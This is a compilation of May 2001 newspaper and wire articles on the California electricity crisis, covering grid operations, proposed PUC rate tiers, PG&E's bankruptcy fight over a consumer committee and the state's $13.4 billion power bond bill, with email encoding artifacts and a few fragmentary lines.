utilities, it's been months of constant struggle to get power generators to=
=20
fork over electrons.=20
"We have to go into higher begging mode for generators out of state," said=
=20
Jim McIntosh, director of grid operations for the ISO. "It scares the hell=
=20
out of these guys. They've never been put in that position. . . . From the=
=20
electricity standpoint, we're operating like the Third World."=20
The ISO has no control over energy prices or even how the bills are paid. T=
he=20
bills are the job of the water agency, which has been spending about $50=20
million a day since mid-January.=20
Not only have a near-record number of power plants been shut down for repai=
rs=20
this month, the hot weather is breaking records and causing energy use to=
=20
spike. The state would probably be near blackouts even without the shaky=20
financial situation.=20
But the final insult is that some of the bills are getting paid late, in pa=
rt=20
because power generators are charging unprecedented rates on the daily ener=
gy=20
market.=20
That causes the people who work at power companies to get snippy sometimes=
=20
and threaten to withhold power. That also leads to the same things that poo=
r=20
people face every day: higher prices, bad service and frustration.=20
"We pay more for gasoline. We pay more for natural gas. We pay more for=20
electricity than anywhere else in the country," said Larry Bellnap, shift=
=20
manager at the ISO, a two-decade veteran in the power business. "I can't=20
think of a reason except we're California, and they are taking advantage of=
=20
us."=20
Here's a conversation recorded a few months ago between an ISO engineer and=
 a=20
generating plant in El Segundo. At the time, the ISO needed the plant to go=
=20
on line immediately to avoid blackouts.=20
"You need to get somebody that has the authority to tell me how I'm going t=
o=20
get paid," the plant manager demands on the phone.=20
"I have the authority to order these plants on," the ISO manager says, and=
=20
then gets this back a few minutes later:=20
"I still need clarification on how you're going to pay me if I get these=20
things on."=20
"OK. I can't give you that right now. That will have to wait until tomorrow=
.=20
"=20
"No, I need that now," the plant manager says.=20
"That's unacceptable."=20
The conversation is contained in court records compiled when several out-of=
-=20
state generators threatened to cut off power, despite their contracts, and=
=20
the ISO sued. The state lost its case essentially, but federal regulators=
=20
backed them up last week in a ruling.=20
McIntosh said he'd never in his 31 years working in the power industry had =
to=20
get a lawyer on the phone to force a power generator to start up a plant to=
=20
provide more power. But now they have two available if needed to remind=20
generators of their commitment.=20
GALLING POSITION
The problem is especially irritating because power generators are charging=
=20
the highest prices ever seen for power.=20
McIntosh and others said the situation was much smoother now that Californi=
a=20
was the major creditor and was pumping billions of dollars into buying powe=
r.=20
Most of the generators are confident enough they will get paid.=20
Hidalgo said the BC Hydro situation this week was isolated so far, but he=
=20
offered one solution for the future:=20
"Maybe they shouldn't charge so much."=20
E-mail Robert Salladay at rsalladay@sfchronicle.com.=20

Power bills set to skyrocket for heavy users=20
Graduated rate increase would take effect in June=20
URL: http://www.sfgate.com/cgi-bin/article.cgi?f=3D/c/a/2001/05/10/MN176943=
.DTL=20

As state regulators outlined plans to raise residential electricity bills b=
y=20
as much as 40 percent, the head of the Public Utilities Commission warned=
=20
yesterday that power rates could soar even higher.=20
The PUC, which adopted an increase in March, is scheduled to approve detail=
s=20
of the new rates in San Francisco on Monday. Consumers will see the higher=
=20
rates in their June utility bills.=20
State regulators say nearly half of all consumers will see no change in the=
ir=20
power bills. The remainder will experience rate increases ranging from 3=20
percent to more than 50 percent, depending on the type of customer and the=
=20
amount of power used.=20
The increases would be added to an average 10 percent increase adopted in=
=20
January.=20
PUC President Loretta Lynch suggested that rates could rise yet again if=20
wholesale electricity prices continue to surge this summer.=20
"If the sellers decide to turn up the heat and raise prices, we'll have to=
=20
look again at the numbers," she said.=20
INCREASE WILL CONTRIBUTE LITTLE
The proposed rate increase would bring in about $5 billion annually -- a=20
fraction of the estimated $65 billion California will spend this year=20
purchasing power on behalf of the state's cash-strapped utilities.=20
Lynch said she expects the remainder to be made up by issuing bonds. The=20
state Senate yesterday approved $13.4 billion in bonds to help cover=20
California's power costs.=20
However, those bonds would not be released until August, by which time=20
California's energy tab would be billions of dollars higher.=20
"There's huge cause for concern that this latest rate increase is a down=20
payment rather than anything close to a final installment," said Bob=20
Finkelstein, staff attorney for The Utility Reform Network in San Francisco=
.=20
The PUC's Lynch stressed that while California's new rate structure would=
=20
place a greater burden on the state's heaviest power users, the increases a=
re=20
intended to spread the pain among all consumers.=20
"Energy is expensive for every hour of every day for every customer," she=
=20
said.=20
LINING UP TO GET PAID
That includes the state Department of Water Resources, which is spending=20
about $70 million a day to keep California's lights on.=20
While the PUC is moving to have more money collected from consumers to pay=
=20
California's power bills, it has yet to address the thorny question of how=
=20
the proceeds will be distributed among the various parties lined up for=20
compensation.=20
The Water Resources Department wants all rate-related revenues to first=20
replenish state coffers, while Pacific Gas and Electric Co. and Southern=20
California Edison Co. insist that they be paid as well for their own=20
expenses.=20
The utilities' costs include payments to small power generators that can no=
=20
longer afford natural gas to run their plants. The recent closure of hundre=
ds=20
of such facilities is a key reason California is experiencing blackouts thi=
s=20
week.=20
Although PG&E said yesterday that most of the smaller generators with which=
=20
it does business are now back online, it is not yet clear whether the utili=
ty=20
will be able to keep paying for their power.=20
"It appears that everything (from the rate increase) is going to DWR (the=
=20
Water Resources Department)," said John Nelson, a PG&E spokesman.=20
Lynch said the PUC will take up the matter of apportioning funds at an=20
unspecified future date.=20
CONSERVATIVE USE PAYS
For the moment, state regulators have their hands full digesting two=20
competing -- and highly complex -- proposals for how rates should be=20
increased next week.=20
One proposal was submitted by an administrative law judge working with the=
=20
PUC and the other by Lynch. Commissioners will choose between them on Monda=
y.=20
The two proposals are largely identical. Under both, residential customers=
=20
who can keep electricity usage within 130 percent of predetermined limits=
=20
would experience no rate increase.=20
The "baseline usage" figure -- included near the bottom of PG&E bills --=20
represents the minimal amount of power consumers require. It includes a=20
number of variables, such as climate, time of year and type of fuel used.=
=20
The PUC said about half of all utility customers statewide historically sta=
y=20
within 130 percent of baseline limits.=20
Heavy residential users whose electricity usage tops 400 percent of baselin=
e=20
figures would see power bills rise by as much as 40 percent. Heavy commerci=
al=20
and industrial users would see bills rise by more than 50 percent.=20
The average increase for all PG&E residential customers would be about 16=
=20
percent, the PUC said, although this number is skewed by the addition of al=
l=20
those customers whose bills would remain unchanged.=20
Harvey Rosenfield, head of the Foundation for Taxpayer and Consumer Rights =
in=20
Santa Monica, questioned whether these rate increases will be sufficient to=
=20
motivate greater conservation among consumers and thus ease California's=20
energy woes.=20
He called instead for the state's political leaders to seize generating=20
plants from out-of-state power companies and impose a special tax on the=20
companies' "windfall" profits.=20
"Unless our elected officials take action, this is just the beginning of ou=
r=20
rate increases," Rosenfield warned.=20
FEDERAL BUILDINGS IN SIGHTS
One of the main differences between the two rate-increase proposals is=20
Lynch's inclusion of a "real-time pricing program" for federal agencies.=20
If enacted, she said, federal buildings in California would be fully expose=
d=20
to the volatile wholesale power market and would pay whatever California pa=
ys=20
to keep the lights on throughout the day.=20
Lynch denied that this is an effort on the part of California officials to=
=20
drive home to federal authorities the impact of sky-high wholesale=20
electricity prices.=20
"It's just an experiment," she said.=20
While California officials have called on federal regulators and the Bush=
=20
administration to assist the state by capping wholesale power prices,=20
Washington has provided only limited relief to date.=20
The Utility Reform Network's Finkelstein complained that the proposed rate=
=20
increases place a severe burden on residential customers when commercial an=
d=20
industrial users account for the greater percentage of power consumption.=
=20
"It was the commercial and industrial customers who were clamoring for=20
deregulation," he said. "You didn't hear any calls for deregulation from=20
residential customers."=20
Lynch said she was aware that residential users are being asked to carry a=
=20
high proportion of the load but said efforts to force industrial users to p=
ay=20
higher rates ran into political opposition.=20

URL:=20
http://www.sfgate.com/cgi-bin/article.cgi?file=3D/news/archive/2001/05/10/s=
tate0
948EDT0159.DTL&type=3Dnews=20
, , -- (05-10) 06:48 PDT Developments in California's energy crisis:=20
THURSDAY:
-- Grid operators say cooler temperatures will help them meet California's=
=20
electricity demands. Officials at the Independent System Operator say=20
supplies are tight, but they don't expect blackouts.=20
-- The PUC holds a public hearing on the proposed rate structure in=20
Sacramento.=20
-- Gov. Gray Davis is scheduled to sign a bill authorizing $13.4 billion in=
=20
revenue bonds to pay for power for customers of the state's three largest=
=20
utilities. The bonds will repay the state general fund for $6.7 billion=20
authorized for power buys since January and will finance future electricity=
=20
purchases.=20
-- After a difficult afternoon, grid operators are able to avoid blackouts=
=20
after temperatures drop slightly.=20
-- The Public Utilities Commission releases recommendations for rate=20
increases, sparing about 9 million customers of Pacific Gas and Electric Co=
.=20
and Southern California Edison, but socking residential customers who don't=
=20
cut back with a 40 percent hike. PUC president Loretta Lynch says the plan =
is=20
designed to encourage conservation and provides $5 billion more to help pay=
=20
the state for the $6.7 billion it has spent so far providing electricity fo=
r=20
the customers of PG&E and Edison.=20
-- The state Senate approves a bill authorizing $13.4 billion in bonds for=
=20
power buys, sending the bill to the governor.=20
-- The governor meets with the CEOs of several major energy suppliers to=20
discuss the money they're owed by the state's two largest utilities, the=20
state's creditworthiness and how wholesalers can help the state during the=
=20
energy crisis. Davis says he won't be discussing any of the investigations=
=20
into price manipulation in the wholesale market.=20
-- A consortium of business interests releases a study saying continued=20
blackouts this summer could cost the state $21.8 billion in losses from=20
sales, wages and production.=20
-- PG&E says only eight of the 300 small power plants in its territory are=
=20
still shut down for payment reasons. All eight are natural gas-fired plants=
=20
that deliver a combined 109 megawatts of electricity, enough to power about=
=20
80,000 homes. Owners of these plants say they haven't been fully paid for=
=20
millions of dollars in past power deliveries and that they would operate at=
 a=20
loss if they resume full operations.=20
-- PG&E asks U.S. Bankruptcy Judge Dennis Montali to void the appointment o=
f=20
a committee representing ratepayers. The utility says that such a committee=
=20
isn't allowed under bankruptcy law and that the state attorney general can=
=20
represent ratepayers in the bankruptcy process.=20
Montali also says PG&E can use hundreds of millions of dollars in payments=
=20
from customers to buy gas, which the utility in turn sells to homes and=20
businesses. That came as other creditors wait to recoup billions of dollars=
=20
from the bankrupt utility. Montali rules that creditors lining up to collec=
t=20
from PG&E cannot use any money they secure to sue the utility's largest=20
creditor, The Bank of New York.=20
-- A major electricity generator starts an ad campaign that offers to sell=
=20
power to the state for 2 cents per kilowatt hour -- as long as the state=20
provides the natural gas to produce the power. Reliant Energy says the ads=
=20
are necessary because their offer is being ignored by power buyers. Another=
=20
energy producer, Mirant, has also kicked off a media campaign.=20
-- Davis' representatives continue negotiating with Sempra, the parent=20
company of San Diego Gas and Electric Co., to buy the utility's transmissio=
n=20
lines.=20
=20
s=20
wholesale prices the state's electricity deregulation law bars them from=20
passing on to consumers. PG&E, saying it hasn't received the help it needs=
=20
from regulators or state lawmakers, filed for federal bankruptcy protection=
=20
April 6.=20
r=20
to=20
ed=20
=20
=20
costs.=20
The Public Utilities Commission has approved rate increases of as much as 4=
6=20
percent on average to help finance the state's multibillion-dollar power=20
buys. The PUC is still determining how those increases will be spread among=
=20
utility customers.=20

PG&E says fewer small power plants offline=20
KAREN GAUDETTE, Associated Press Writer
URL:=20
tate0
343EDT0125.DTL&type=3Dnews=20
(05-10) 00:43 PDT SAN FRANCISCO (AP) -- Only eight of the 300 small power=
=20
plants in Pacific Gas and Electric Co.'s territory remain shut down for=20
payment reasons, the struggling utility says. That means more vital megawat=
ts=20
have come back online that could help prevent rolling blackouts.=20
But operators of those so-called qualifying facilities say that's because=
=20
they're required to run their plants during periods of high demand to get=
=20
paid, not because of a change of heart over millions of dollars owed to the=
m=20
for past electricity deliveries.=20
``What I believe will start happening is you will see QFs operate for a=20
minimal amount of time during peak times in order to get their capacity=20
payments,'' said Jan Smutney-Jones, executive director of the Independent=
=20
Energy Producers. ``They won't be fully available to California.''=20
All eight of the plants in PG&E's territory are natural gas-fired plants th=
at=20
deliver a combined 109 megawatts of electricity, enough to power about 80,0=
00=20
homes.=20
Lorie O'Donley, a spokeswoman with the Independent System Operator, which=
=20
manages California's electric grid, said that more of so-called qualifying=
=20
facilities had indeed come back online throughout the state.=20
``Right now we have 1,400 megawatts offline statewide,'' O'Donley said,=20
though she didn't yet know how many QFs were offline in PG&E's territory an=
d=20
in other territories.=20
QFs harness solar, biomass, geothermal or wind power, as well as natural ga=
s,=20
to generate environmentally friendly electricity, and provide electricity t=
o=20
the state's investor-owned utilities under contract.=20
QFs contribute about 6,000 megawatts to the state's power grid, O'Donley=20
said. A few weeks ago, around 3,000 megawatts were offline. Many plants wer=
e=20
shut down in protest for not getting paid millions of dollars for past=20
electricity deliveries. That lack of power contributed to rolling blackouts=
=20
which swept the state.=20
The past debt, as well as a new pricing system ordered by the Public=20
Utilities Commission, would force QFs to operate at a loss if they start=20
producing power at full capacity, said Smutney-Jones.=20
The new PUC price structure ties how much they can charge for their=20
electricity to the price of natural gas coming in at the Oregon border, whe=
re=20
natural gas is cheaper. However, many plants can only ship and buy their ga=
s=20
at the Topock border in the south, where prices are much higher.=20
``I don't think we're anywhere near out of the woods with respect to the QF=
=20
issue,'' Smutney-Jones said.=20
PG&E and Southern California Edison Co. have paid for QF electricity=20
delivered since April under order by the PUC. However, PG&E had made partia=
l=20
payments on deliveries since last year, while SoCal Edison had paid nothing=
.=20
San Diego Gas and Electric Co. says it never fell behind on its payments.=
=20
www.pge.com=20

A look at two rate designs before power regulators=20
URL:=20
tate0
338EDT0123.DTL&type=3Dnews=20
, , -- (05-10) 00:38 PDT=20
Key components of rate design proposals introduced Wednesday by Loretta=20
Lynch, state Public Utilities Commission president, and Christine Walwyn, a=
=20
PUC Administrative Law Judge. Both proposals suggest how to implement recor=
d=20
rate increases passed by the PUC on March 27. Both rate plans use baseline =
--=20
an average amount of power used based on a customer's climate, geography an=
d=20
the time of year -- to help determine how much to charge customers.=20
President Loretta Lynch's proposal:=20
--Divides residential groups into five tiers=20
Tiers 1 and 2 include low-income customers exempt from rate hikes and power=
=20
use up to 130 percent of baseline.=20
Tier 3 covers power use from 130 percent to 200 percent of baseline. Rate=
=20
increase percentage was not released Wednesday.=20
Tier 4 covers power use from 200 percent to 300 percent of baseline. Rate=
=20
Tier 5 covers power use beyond 300 percent of baseline. Lynch said power us=
ed=20
within these limits would receive an average 48 percent rate increase. Paul=
=20
Clanon, head of the PUC's energy division, says that number is closer to=20
35-40 percent on average.=20
--Commericial customers of PG&E would receive an average 37.5 percent=20
increase on all electricity used.=20
--Industrial customers of PG&E would receive an average 52 percent increase=
=20
on all electricity used, depending what time of day they used it.=20
--Agricultural customers of PG&E would receive an average 21 to 30 percent=
=20
rate increase on all electricity used, depending what time of day they used=
=20
it. Rates are capped at 30 percent.=20
--Would adopt a pilot program to introduce real-time pricing to federal=20
electric customers. Real-time pricing charges customers the full cost of=20
electricity. Therefore, proponents say, customers should shift their electr=
ic=20
use away from times of high demand and higher prices, thus lowering demand=
=20
and eventually lowering wholesale prices.=20
Administrative Law Judge Christine Walwyn's proposal:=20
--Divides residential groups into four tiers=20
Tier 1 includes low-income customers exempt from rate hikes and power use u=
p=20
to 130 percent of baseline.=20
Tier 2 covers power use between 130 percent to 200 percent of baseline. Pow=
er=20
used within these limits would receive an average 3 percent increase.=20
Tier 3 covers power use betwen 200 percent to 300 percent of baseline. Powe=
r=20
used within these limits would receive an average 10 percent increase.=20
Tier 4 covers power use over 300 percent of baseline. This use would receiv=
e=20
an average 34 percent increase.=20
--Exact information on other classes was not provided.=20
Source: Public Utilities Commission, Energy Division=20

Lights stay on despite failure of big plant=20
John Wildermuth, Joe Garofoli, Chronicle Staff Writers
URL:=20
http://www.sfgate.com/cgi-bin/article.cgi?file=3D/chronicle/archive/2001/05=
/10/M
N173855.DTL&type=3Dnews=20
With temperatures still high and generating plants running full out, state=
=20
power officials managed by the smallest of margins to prevent a third=20
straight day of rolling blackouts yesterday.=20
"It's been a roller-coaster of an afternoon," said a weary Stephanie=20
McCorkle, spokeswoman for the California Independent System Operator.=20
Demand was running slightly ahead of estimates early in the day, but the=20
situation improved when the ISO asked its interruptible power users to cut=
=20
their loads shortly after noon, McCorkle said.=20
Those users, who agree to temporarily limit their power use when asked in=
=20
return for lower rates, gave the system an additional 800 megawatts to work=
=20
with.=20
Temperatures again soared inland, but by 2 p.m. a slight break in the weath=
er=20
raised hopes that the emergency could be easing.=20
Then, a 750-megawatt plant in Pittsburg broke down.=20
"That wrecked my day," said Jim McIntosh, the ISO's operations director.=20
While the ISO managed to beg, borrow and buy enough extra power to replace=
=20
the Pittsburg plant for the afternoon, the generator's loss is another=20
headache for a system already stretched to the maximum.=20
The Pittsburg plant will be shut down for a minimum of 60 hours while crews=
=20
repair a boiler tube leak, said a spokesman for Mirant Corp., the plant's=
=20
owner.=20
"I stress 'minimum' here, because that's usually the least amount of time i=
t=20
takes to fix one of these things," said Chuck Griffin, a company spokesman.=
=20
The Pittsburg plant is the largest gas-fired generator in the state's power=
=20
grid, McIntosh said.=20
California already has plants that normally produce 12,000 megawatts of pow=
er=20
out for maintenance and repair.=20
"We knew May was going to be a tough month," McIntosh said.=20
E-mail the writers at jgarofoli@sfchronicle.com and=20
jwildermuth@sfchronicle.com.=20
,2001 San Francisco Chronicle ? Page?A - 12=20

PG&E fights consumer committee=20
Obstruction feared in bankruptcy case=20
Bob Egelko, Chronicle Staff Writer
URL:=20
/10/M
N150518.DTL&type=3Dnews=20
Pacific Gas and Electric Co. asked a judge yesterday to dissolve a committe=
e=20
appointed to represent consumers in the utility's bankruptcy case, calling=
=20
its members "special interest groups" who could obstruct the proceedings.=
=20
The nine-member committee, with representatives from businesses, government=
=20
agencies and consumer organizations, was named last week by the Justice=20
Department's bankruptcy trustee for Northern California and Nevada. Trustee=
=20
Linda Ekstrom Stanley said her action was needed to give the public a voice=
=20
because the state had declined to take part in the case.=20
The appointment was significant because the committee can participate fully=
=20
in the high-stakes case, conduct investigations, comment on PG&E's plan to=
=20
settle its debts and propose an alternative plan. No past utility bankruptc=
y=20
case has included a consumer committee.=20
In papers filed late yesterday, PG&E said the committee was unauthorized by=
=20
bankruptcy law and was potentially harmful.=20
The law allows only unsecured creditors and equity security holders to be=
=20
appointed to official committees, and consumers do not fit those categories=
,=20
PG&E attorneys argued.=20
A committee of the largest unsecured creditors, including banks and power=
=20
generators, was appointed earlier. That committee has also opposed the=20
appointment of the consumers' committee but has not filed legal objections.=
=20
Even if individual customers qualified for appointment, "none of the specia=
l=20
interest groups can claim a mandate to represent the interests of PG&E=20
ratepayers generally," the utility said.=20
PG&E said the two consumer organizations on the committee, The Utility Refo=
rm=20
Network and Consumers Union, have "well-known political and policy agendas=
=20
that have nothing to do with the reorganization principles of the Bankruptc=
y=20
Code" and "a demonstrated history of aggressive lobbying and litigation."=
=20
Noting that the consumers' committee would be funded by PG&E, the utility=
=20
said the consumer groups' "proclivities could substantially retard the=20
progress of this case and seriously prejudice its outcome."=20
U.S. Bankruptcy Judge Dennis Montali has scheduled a May 18 hearing on PG&E=
's=20
challenge. Stanley said she had met last week with PG&E representatives and=
=20
lawyers, concluding "after significant research" that her action was both=
=20
legal and necessary.=20
"The public's interest is not being protected in the bankruptcy case," she=
=20
said, noting that the state government was keeping out of the proceedings i=
n=20
order to avoid exposure to PG&E lawsuits.=20
"The ratepayers are claimants here," Stanley said. "They have a right to=20
expect performance from this utility. They have a right to be heard here."=
=20
Committee member Nettie Hoge, executive director of The Utility Reform=20
Network, said she was confident in Stanley's judgment. "You've got a monopo=
ly=20
utility and customers who are forced to pay rates for an essential service,=
"=20
Hoge said. "You've got to have customers involved in the discussions.=20
"The trustee has done an admirable job, choosing a committee that is very=
=20
diverse, folks who have a stake in every aspect of the economy."=20
E-mail Bob Egelko at begelko@sfchronicle.com.=20
,2001 San Francisco Chronicle ? Page?A - 10=20

Generators silent on Davis plan=20
He offers lower compensation to stave off Edison bankruptcy=20
URL:=20
/10/M
N128963.DTL&type=3Dnews=20
Sacramento -- Gov. Gray Davis, who has portrayed power generators as greedy=
=20
villains in the state's power crisis, met face-to-face with industry=20
officials yesterday, calling on them to forgive some of the debt racked up =
by=20
an insolvent utility.=20
In a three-hour meeting described as "businesslike," Davis said generators=
=20
will have to accept 70 cents on the dollar of past debt as part of a soluti=
on=20
designed to prevent Southern California Edison Co. from going bankrupt.=20
At least one of the companies flatly rejected the idea after the meeting,=
=20
putting the deal in jeopardy.=20
If the two sides are not able to reach an agreement, Southern California=20
Edison would probably follow Pacific Gas & Electric Co. into bankruptcy=20
court, where creditors face a lengthy and uncertain resolution to recoverin=
g=20
debts.=20
Davis has run into legislative opposition to the original terms of the=20
agreement he brokered with Southern California Edison, which includes the=
=20
state's purchase of the utility's transmission lines as a way to help it=20
regain financial stability.=20
But the governor said he now believes that the deal can win passage in the=
=20
Legislature if the generators "take a haircut."=20
"I indicated that passage of the (agreement) that we signed with Edison wou=
ld=20
only work if they agreed to reduce the amount of money they claim the=20
utilities owe them," he said.=20
Edison owes generators, including municipal utilities, between $1.1 billion=
=20
and $1.2 billion, Davis said. He said he agreed that talks would also take=
=20
place with municipal utilities about taking less money on the dollar.=20
Most of the generators refused to comment on the proposal, but a=20
representative of Reliant Energy dismissed the suggestion.=20
"That's simply an unreasonable number to start with," said John Stout, seni=
or=20
vice president of Reliant, who said that 67 cents on every dollar the compa=
ny=20
receives goes to pay the fuel bill, which doesn't include personnel and=20
maintenance of facilities.=20
"It doesn't get any supply built," Stout said of the idea. "I would much=20
rather get that 100 cents on the dollar" to invest in new generation.=20
The generators, who have reaped huge profits in the past year, said the mai=
n=20
thrust of the meeting was on short-term issues, such as lining up more powe=
r=20
for the summer.=20
Davis asked which companies were not yet selling to the state and said he=
=20
would work to get the Department of Water Resources to sign agreements with=
=20
them.=20
He also asked the generators to support the Edison deal, reportedly asking=
=20
them to try to win GOP support for it.=20
Davis agreed to a proposal from the companies to form permanent working=20
groups to deal with the crisis.=20
A handful of protesters led by former Senate candidate Medea Benjamin=20
condemned Davis for meeting with the companies. Dressed as pigs, with the=
=20
names of the companies on their masks, the five protesters brought a small=
=20
live pig into the Capitol, where it proceeded to defecate outside the=20
governor's office before the group was escorted out of the building.=20
Lawmakers have insisted that the generators must take a cut in the money th=
ey=20
are owed as part of any deal ending the energy crisis.=20
Senate President Pro Tem John Burton, D-San Francisco, said earlier in the=
=20
day that at least a 30 percent "haircut" would be necessary before he would=
=20
allow any deal to be approved.=20
"What we have here is a problem caused by the unfettered greed of generator=
s=20
that has brought capitalism to a new low," Burton said.=20
He said if the generators don't agree to some kind of cut, they will find=
=20
themselves in bankruptcy court.=20
Earlier in the day, the Senate approved a bill that allows the state=20
treasurer to issue $13.4 billion in bonds. The money, which will eventually=
=20
be repaid by ratepayers, will be used to replace the funds that have draine=
d=20
out of the state's general fund since January to buy electricity and pay fo=
r=20
future power purchases.=20
The state has spent about $6 billion so far -- money, Democrats argue, that=
=20
has to be replaced in order to fund other state services.=20
"Where do those revenues go?" asked Sen. Sheila Kuehl, D-Santa Monica, duri=
ng=20
the floor debate. "They create child care slots, pay in-home support servic=
es=20
and provide medical benefits for the poor."=20
But Republicans said the state's budget should take some of the hit, instea=
d=20
of pushing it all off on ratepayers.=20
Sen. Tom McClintock, R-Northridge, said the average ratepayer will see a $2=
,=20
000 increase on their utilities bills over the next 15 years to pay for the=
=20
bond.=20
The final vote was 23 to 15. Because not enough Republicans supported the=
=20
measure in either the Assembly or Senate to make the bill an urgency measur=
e,=20
the law will not take effect until 90 days after the end of the special=20
session. Davis will sign the bill today.=20
Chronicle staff writer Greg Lucas contributed to this report.=20

Rate plans shield most households=20
Posted at 11:05 p.m. PDT Wednesday, May 9, 2001=20
MICHAEL=20
BAZELEY=20

State regulators on Wednesday painted the clearest picture yet of who will=
=20
bear the brunt of the biggest electrical rate hike in 20 years: Commercial,=
=20
industrial and agricultural users will be socked with power bills that coul=
d=20
soar by 50 percent or more.=20
But most residential customers will be shielded from huge rate increases,=
=20
regulators said. In two proposals unveiled Wednesday by the California Publ=
ic=20
Utilities Commission and to be voted on Monday, only the heaviest residenti=
al=20
users get hit with big hikes, potentially doubling their rates in an effort=
=20
to push them toward conservation.=20
``The moderate users will be largely protected,'' said PUC chairwoman Loret=
ta=20
Lynch.=20
The PUC has been grappling with designing a rate plan for customers since=
=20
March, when it announced an across-the-board rate hike of 3 cents per=20
kilowatt-hour. The PUC announced the increase -- designed to help the state=
=20
climb out of its ongoing power crisis -- before deciding how the rate=20
structure would work and considered at least 20 plans.=20
Details of the proposals were criticized Wednesday by energy experts who sa=
id=20
residential customers are not being charged enough to encourage conservatio=
n,=20
and by business representatives who said business and commercial users are=
=20
being unfairly targeted.=20
``This is not a real rate increase for the residential class and we need=20
one,'' said Severin Borenstein, director of the University of California=20
Energy Institute. ``This is ridiculous. This is not a way to respond. This=
=20
will send no price signal to people at all.''=20
Both proposals create a five-tier billing system for residential customers,=
=20
with heavy users -- nearly 10 percent of all households -- seeing their rat=
es=20
possibly double. Energy misers and moderate users -- the other 7.3 million=
=20
households -- would either see no change at all in their bills or only mode=
st=20
increases of up to about $12 month.=20
The consumer group the Utility Reform Network said it was generally satisfi=
ed=20
with the rate plans and how they spread the increase across all customer=20
``Yes, they've done a reasonable job of allocating the pain equitably,'' sa=
id=20
Bob Finkelstein, a staff attorney with the organization. ``But we shouldn't=
=20
be in this position in the first place. I think it's a shame we're even goi=
ng=20
to see a rate increase.''=20
Covering state's costs=20
Lynch said this rate increase, along with a statewide bond recently approve=
d=20
by lawmakers, should cover the state's costs in purchasing power.=20
But she left the door open for further rate increases, especially if energy=
=20
suppliers raise the price of electricity.=20
``If the sellers decide to turn up the heat and raise rates,'' she said,=20
``we'll have to look at those numbers again.''=20
Lynch and an administrative law judge both submitted similar plans. Because=
=20
Lynch is the commission president, her proposal would appear to be the most=
=20
likely to gain the support of fellow commissioners.=20
Industrial users appear to take the biggest hit under Lynch's plan. Those=
=20
equipped with special meters could see their rates double or more for power=
=20
they consume during peak demand periods. Small commercial users would pay=
=20
about 45 percent more for their ``on-peak'' electricity, Lynch said.=20
Lynch said she intentionally ``weighted'' the on-peak rates higher as a way=
=20
to encourage conservation.=20
``By promoting energy conservation during summer peak hours,'' she said in=
=20
her proposal, ``we attempt to limit blackouts and service interruptions in=
=20
order to preserve public health and safety.''=20
But industry representatives cried foul.=20
``These costs make it impossible to operate at a profit,'' said Jack Stewar=
t,=20
president of the California Manufacturers and Technology Association. ``You=
=20
can't add these kinds of prices to the product and try to sell it. This loo=
ks=20
like the beginning of the ringing of the death knell for the economy.''=20
Agriculture caps=20
For agricultural users, the proposals are a mixed bag. Agricultural groups=
=20
were hoping the PUC would endorse a recommendation by Gov. Gray Davis to ca=
p=20
their rate increases at 5 to 15 percent. Agriculture groups did get caps, b=
ut=20
they are higher than the governor's, ranging from 23 to 30 percent in both=
=20
plans.=20
Even before the rate increase, farmers and other agricultural businesses we=
re=20
bracing for a rough summer. Because of a statewide water shortage, farmers=
=20
will need to rely more on groundwater pumps, significantly driving up their=
=20
energy use.=20
``We are definitely going to be impacted significantly,'' said Michael=20
Boccadoro, executive director of the Agricultural Energy Consumers=20
Association.=20
Federal buildings=20
Lynch also slung an arrow at the federal government, proposing that federal=
=20
buildings in California be forced to pay market rates for electricity. Her=
=20
proposal that federal buildings be given real-time meters could drive up=20
federal government energy rates by 10 times or more.=20
Lynch is angry with the federal government's hands-off attitude toward the=
=20
state's power crisis and its insistence that Californians pay market rates=
=20
for electricity.=20
Lynch's idea -- which she said would be studied in the coming weeks -- was=
=20
derided by several critics.=20
``This is something you do in kindergarten,'' said fellow Commissioner=20
Richard Bilas. ``All it's going to do is make matters worse'' with the=20
federal government.=20
The PUC considered rate proposals from utility companies, consumer groups a=
nd=20
the governor. Gov. Davis' proposal was perhaps the most closely watched=20
because three of the PUC commissioners are Davis appointees.=20
Davis proposed a slightly smaller across-the-board rate increase, an idea=
=20
that was rejected by both Lynch and the judge. But Lynch, a Davis appointee=
,=20
stressed that the two plans embrace other aspects of the governor's proposa=
l,=20
such as the caps on agricultural rates.=20

Contact Michael Bazeley at mbazeley@sjmercury.com or (415) 434-1018.=20

Energy bond plan gets final legislative OK, faces delay=20
Posted at 8:28 p.m. PDT Wednesday, May 9, 2001=20

SACRAMENTO -- Amid rising partisan attacks, state Democrats gave final=20
approval Wednesday to a record $13.4 billion energy crisis bond plan to=20
replenish the drained California budget and buy critical power for the=20
state's impoverished utilities.=20
Democrats blasted Republicans for their steadfast refusal to support the pl=
an=20
-- opposition that will force the state to continue to use its already=20
strained budget to buy power through the summer.=20
``I think the Republicans are playing a perilous game with dire=20
consequences,'' said Assemblywoman Carole Migden, D-San Francisco, after th=
e=20
Senate approved the bill on a 22-15 vote. Gov. Gray Davis plans to sign the=
=20
bill today.=20
Without two-thirds support in both houses, the bonds cannot be sold=20
immediately, and the state will lose the chance to line up about $4 billion=
=20
in short-term loans.=20
Because Democrats could pass the bond plan by only majority votes, the=20
Legislature will have to shut down its special energy crisis session Monday=
.=20
Without the two-thirds support, the bond measure cannot become law until 90=
=20
days after the session comes to a close.=20
Closing the session would force state lawmakers to reintroduce hundreds of=
=20
other energy crisis bills when Davis, as expected, launches a second energy=
=20
crisis special session.=20
Zane Mann, publisher of the monthly California Bond Advisor newsletter,=20
blasted Republicans for not throwing their support behind the bonds.=20
``I can't understand why the Republicans did what they did,'' Mann said. ``=
I=20
find it totally obstructionist. They're willing to sell out the state in=20
order to blame Davis.''=20
During Wednesday's floor debate, Sen. Tom McClintock, R-Thousand Oaks, said=
=20
bonds would saddle each Californian with an extra $2,000 on their energy=20
bills.=20
``This expense was incurred because of some very bad decisions by elected=
=20
officials of California,'' he said.=20
The state has just about used up its $6.6 billion budget surplus buying pow=
er=20
for the state's cash-strapped utilities and will have to tap unused cash fr=
om=20
state programs to continue to buy power this summer.=20
There is still concern that the state will be unable to find buyers for the=
=20
largest bond measure in U.S. history.=20
Mann, as well as the bank behind the bonds, J.P. Morgan, insist there's a=
=20
market for them. Mann said the state's two largest mutual funds are waiting=
=20
to buy the bonds -- if they have a high interest rate.=20
If not, he said, ``they'll go out the window.''=20

Mercury News Staff Writer Jennifer Bjorhus contributed to this report.=20

Fusion research gets a boost=20
Published Thursday, May 10, 2001, in the San Jose Mercury News=20
BY JIM PUZZANGHERA=20

Mercury News Washington Bureau=20

